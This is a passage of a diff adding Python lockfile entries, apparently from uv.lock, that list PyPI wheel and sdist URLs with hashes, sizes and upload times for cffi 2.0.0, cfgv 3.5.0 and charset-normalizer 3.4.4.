+    { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" },
+    { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" },
+    { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" },
+    { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" },
+    { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" },
+    { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" },
+    { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" },
+    { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" },
+    { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" },
+    { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
+]
+
+[[package]]
+name = "cfgv"
+version = "3.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/4e/b5/721b8799b04bf9afe054a3899c6cf4e880fcf8563cc71c15610242490a0c/cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132", size = 7334, upload-time = "2025-11-19T20:55:51.612Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", size = 7445, upload-time = "2025-11-19T20:55:50.744Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" },
+    { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" },
+    { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" },
+    { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" },
+    { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" },
+    { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" },
+    { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" },
+    { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" },
+    { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" },
+    { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" },
+    { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" },
+    { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" },
+    { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" },
+    { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" },
+    { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" },
+    { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" },
+    { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" },
+    { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" },
+    { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" },
